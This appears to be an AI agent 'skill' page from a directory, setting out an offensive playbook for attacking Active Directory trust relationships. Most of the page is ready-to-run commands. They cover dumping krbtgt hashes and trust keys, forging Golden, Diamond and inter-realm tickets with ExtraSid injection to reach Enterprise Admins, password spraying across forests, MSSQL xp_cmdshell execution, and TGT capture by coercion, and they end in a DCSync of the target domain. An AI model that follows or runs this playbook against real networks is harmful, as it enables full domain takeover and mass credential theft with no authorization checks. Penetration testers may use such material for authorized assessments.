SuperAPI AI Directory
Partner中文AI newsFavorites
Skillsad-trust-attack

ad-trust-attack

Coding & development

View repository

Updated 10-16 07:23

About this skill

Domain trust relationship attacks

Enumerate and exploit Active Directory trust relationships to achieve cross-domain and cross-forest lateral movement and privilege escalation.

Trigger conditions

  • Child domain Domain Admin or krbtgt hash has been obtained, and escalation to the parent domain is needed
  • Enumeration discovers inter-domain/inter-forest trust relationships
  • The target environment has a multi-domain or multi-forest architecture
  • Cross-trust-boundary lateral movement is needed

Prerequisites

  • High-privilege credentials for the current domain (Domain Admin / krbtgt hash / trust key)
  • Trust relationship enumeration has been completed or the trust topology is already known
  • Tools: ticketer.py, raiseChild.py, secretsdump.py, lookupsid.py, Rubeus, ldeep, NetExec

Phase 1: Trust relationship enumeration

ldeep ldap -u <USER> -p <PASSWORD> -d <DOMAIN> -s ldap://<DC> trusts
netexec ldap <DC_IP> -u '<USER>' -p '<PASSWORD>' -d '<DOMAIN>' -M enum_trusts
bloodhound-python -u <USER> -p <PASSWORD> -d <DOMAIN> -c Trusts

Get-DomainTrust                              # PowerView
Get-ForestTrust                              # 森林信任
nltest /domain_trusts /all_trusts            # Windows 原生

Output interpretation

Field Meaning
TrustDirection: Bidirectional Two-way trust, bidirectional access
TrustDirection: Inbound The other party trusts us, and we can access the other party
TrustDirection: Outbound We trust the other party, and the other party can access us
TrustAttributes: WITHIN_FOREST Within forest, no SID filtering
TrustAttributes: FOREST_TRANSITIVE Forest trust, with SID filtering

Phase 2: Trust type and attack surface analysis

Trust type quick reference

Trust type Direction SID filtering Primary attack method
Parent-Child Two-way Disabled Golden Ticket + ExtraSid
Tree-Root Two-way Disabled Golden Ticket + ExtraSid
External One-way Enabled External group members / password reuse
Forest Two-way Enabled SID History (restricted) / MSSQL Links

Key trust attributes

Attribute Value Security implication
WITHIN_FOREST 0x20 Within forest, no SID filtering
FOREST_TRANSITIVE 0x08 Forest trust, with SID filtering
TREAT_AS_EXTERNAL 0x40 Treated as external, SID filtering enabled
QUARANTINED_DOMAIN 0x04 Domain isolation, SID filtering enforced

SID filtering impact

Trust type ExtraSid attack Notes
Within forest (WITHIN_FOREST) Fully usable Enterprise Admins (-519) valid
External/forest trust Only RID > 1000 Well-known SIDs are filtered
Quarantined domain (Quarantined) Extremely restricted Almost all are filtered

Phase 3: Child domain to parent domain privilege escalation

Core principle: Within the same forest there is no SID filtering, so the parent domain Enterprise Admins SID (-519) can be injected into tickets issued by the child domain krbtgt.

3.1 Obtain necessary information

# 获取子域 SID
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC> 0

# 获取父域 SID (Enterprise Admins = 父域SID + "-519")
lookupsid.py <CHILD_DOMAIN>/<USER>:<PASSWORD>@<PARENT_DC> 0

# 转储子域 krbtgt 哈希
secretsdump.py -just-dc-user '<CHILD_DOMAIN>/krbtgt' \
  '<CHILD_DOMAIN>/<USER>:<PASSWORD>@<CHILD_DC>'

3.2 Golden Ticket + ExtraSid

ticketer.py -nthash <KRBTGT_NTHASH> \
  -domain-sid '<CHILD_SID>' \
  -domain <CHILD_DOMAIN> \
  -extra-sid '<PARENT_SID>-519' \
  fakeadmin

export KRB5CCNAME=fakeadmin.ccache
secretsdump.py -k -no-pass <PARENT_DOMAIN>/fakeadmin@<PARENT_DC>

# Rubeus (AES256 更隐蔽)
Rubeus.exe golden /aes256:<KRBTGT_AES256> /user:Administrator \
  /domain:<CHILD_DOMAIN> /sid:<CHILD_SID> /sids:<PARENT_SID>-519 /nowrap

3.3 Diamond Ticket variant

Modify the PAC of a legitimate TGT rather than forging from scratch, bypassing some detection:

Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 \
  /groups:519 /sids:<PARENT_SID>-519 /krbkey:<KRBTGT_AES256> /nowrap

3.4 raiseChild.py automation

raiseChild.py -target-exec <PARENT_DC> '<CHILD_DOMAIN>/Administrator:<PASSWORD>'
raiseChild.py -target-exec <PARENT_DC> -hashes :<NTHASH> '<CHILD_DOMAIN>/Administrator'

3.5 Trust Ticket (Inter-Realm TGT)

# 转储信任密钥
secretsdump.py '<CHILD_DOMAIN>/Administrator:<PASSWORD>@<CHILD_DC>' | grep -i trust

# 伪造跨域 TGT
ticketer.py -nthash <TRUST_KEY_HASH> \
  -domain-sid '<CHILD_SID>' \
  -domain <CHILD_DOMAIN> \
  -spn krbtgt/<PARENT_DOMAIN> \
  fakeuser

export KRB5CCNAME=fakeuser.ccache
getST.py -k -no-pass -spn cifs/<PARENT_DC>.<PARENT_DOMAIN> <PARENT_DOMAIN>/fakeuser

Detailed steps and method comparison -> references/child-parent-escalation.md

Phase 4: One-way trust exploitation

4.1 Inbound trust (Inbound)

The external domain trusts us, and our users can access external domain resources.

# 查找外部域中的本域用户/组
Get-DomainForeignGroupMember -Domain <EXTERNAL_DOMAIN>
ConvertFrom-SID S-1-5-21-<MEMBER_SID>

# 跨域票据请求
Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /aes256:<AES256> /nowrap
Rubeus.exe asktgs /service:krbtgt/<EXTERNAL_DOMAIN> /domain:<DOMAIN> \
  /dc:<DC> /ticket:<TGT_BASE64> /nowrap
Rubeus.exe asktgs /service:cifs/<EXTERNAL_DC> /domain:<EXTERNAL_DOMAIN> \
  /dc:<EXTERNAL_DC> /ticket:<REFERRAL_TICKET> /nowrap

4.2 Outbound trust (Outbound)

We trust the external domain and can obtain the trust key for further exploitation.

# 转储信任密钥
mimikatz lsadump::trust /patch

# DCSync 信任账户
secretsdump.py -just-dc-user '<EXTERNAL_DOMAIN>$' \
  '<DOMAIN>/Administrator:<PASSWORD>@<DC>'

# 使用信任账户身份进行 Kerberoast 等攻击
Rubeus.exe asktgt /user:<DOMAIN>$ /domain:<EXTERNAL_DOMAIN> /rc4:<TRUST_KEY> /nowrap

Phase 5: Cross-forest attack

Scenario: Forest trusts have SID filtering, requiring alternative attack paths.

5.1 SID History (restricted)

# 在目标林找 RID > 1000 有价值组，创建 Golden Ticket 注入其 SID
ticketer.py -nthash <KRBTGT_HASH> \
  -domain-sid '<SOURCE_SID>' \
  -domain <SOURCE_DOMAIN> \
  -extra-sid '<TARGET_SID>-1111' \
  fakeuser

export KRB5CCNAME=fakeuser.ccache
smbclient.py -k -no-pass <TARGET_DOMAIN>/fakeuser@<TARGET_DC>

5.2 External group members

Get-DomainForeignGroupMember -Domain <TARGET_FOREST>
Get-DomainForeignUser -Domain <TARGET_FOREST>

5.3 Password reuse

netexec smb <TARGET_DC> -u '<USER>' -p '<PASSWORD>' -d '<TARGET_FOREST>'
netexec smb <TARGET_DC> -u users.txt -p passwords.txt -d '<TARGET_FOREST>'

5.4 MSSQL Linked Server

-- 枚举链接服务器
SELECT * FROM master..sysservers;

-- 在链接服务器上执行
EXEC ('SELECT SYSTEM_USER') AT [LINKED_SERVER];

-- 链式穿越
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [SECOND_LINK]') AT [FIRST_LINK];

-- 通过链接执行命令 (需 xp_cmdshell)
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER];

5.5 Unconstrained delegation across domains

# 查找非约束委派 → 强制目标林 DC 认证 → 捕获 TGT
Get-DomainComputer -Unconstrained -Domain <SOURCE_DOMAIN>
Rubeus.exe monitor /interval:5 /nowrap /filteruser:<TARGET_DC>$
# 触发: PrinterBug / PetitPotam / DFSCoerce
Rubeus.exe ptt /ticket:<CAPTURED_TGT>

5.6 Cross-trust ACL abuse

Get-DomainObjectAcl -Domain <TARGET_FOREST> |
  Where-Object {$_.SecurityIdentifier -match 'S-1-5-21-<SOURCE_SID>'}

Detailed attack techniques and real-world cases -> references/cross-forest-attack.md

Decision tree

[开始] 发现域信任关系 / 已获取子域 DA
    │
    ├─ 枚举: ldeep / NetExec / PowerView / BloodHound / nltest
    │
    ▼
[分析] 信任类型?
    │
    ├─ WITHIN_FOREST (父子域/树根) ───────────────────────┐
    │   └─ 无 SID 过滤                                     │
    │       ├─ 有 krbtgt ── Golden Ticket + ExtraSid(-519) ┤
    │       ├─ 需隐蔽 ──── Diamond Ticket ─────────────────┤
    │       ├─ 要快速 ──── raiseChild.py ──────────────────┤
    │       └─ 有信任密钥 ─ Trust Ticket ──────────────────┤
    │                                                       ▼
    │                                              获取父域 DA → DCSync
    │
    ├─ FOREST_TRANSITIVE (森林信任) ──────────────────────┐
    │   └─ 有 SID 过滤 (RID > 1000 可通过)                │
    │       ├─ RID>1000 组 ── SID History ────────────────┤
    │       ├─ 外部组成员 ── 已授权跨林访问 ──────────────┤
    │       ├─ 密码重用 ──── netexec 喷洒 ────────────────┤
    │       ├─ MSSQL 链接 ── xp_cmdshell ────────────────┤
    │       └─ 非约束委派 ── 跨林 TGT 捕获 ──────────────┤
    │                                                      ▼
    │                                              跨林访问
    │
    ├─ Inbound (对方信任我们) ────────────────────────────┐
    │   ├─ 查找外部组成员 ── ForeignGroupMember ──────────┤
    │   └─ 跨域票据请求 ──── Rubeus asktgt/asktgs ───────┤
    │                                                      ▼
    │                                              访问外部域
    │
    └─ Outbound (我们信任对方) ──────────────────────────┐
        ├─ 转储信任密钥 ──── lsadump::trust / DCSync ────┤
        └─ 信任账户登录 ──── Kerberoast 目标域 ──────────┤
                                                           ▼
                                                   目标域立足点

Verification checklist

  • Enumerate all trust relationships (type, direction, attributes)
  • Determine SID filtering status (WITHIN_FOREST vs FOREST_TRANSITIVE)
  • Obtain the required credentials (krbtgt hash / trust key / DA password)
  • Choose the attack method based on the trust type
  • Execute the cross-domain/cross-forest attack and verify access
  • DCSync the target domain to obtain complete credentials

Common issues

ExtraSid attack fails

  1. Confirm it is an intra-forest trust (WITHIN_FOREST=0x20); external/forest trusts will filter -519
  2. Check whether the krbtgt hash is correct and whether the domain SID matches

raiseChild.py fails

  1. Confirm you have child domain DA privileges and can DCSync
  2. Check network connectivity to the parent domain DC
  3. Manually step by step: lookupsid -> secretsdump -> ticketer

Cross-forest SID History does not work

  1. Confirm the target group RID > 1000 (well-known SIDs are filtered)
  2. Check whether SID History is enabled on the trust (disabled by default)

Tool reference

Tool Purpose
ldeep / NetExec / BloodHound Trust enumeration and visualization
lookupsid.py Domain SID query
secretsdump.py krbtgt / trust key dump
ticketer.py Golden Ticket / Trust Ticket
raiseChild.py Automated child domain to parent domain privilege escalation
Rubeus / mimikatz Windows ticket operations and key dumping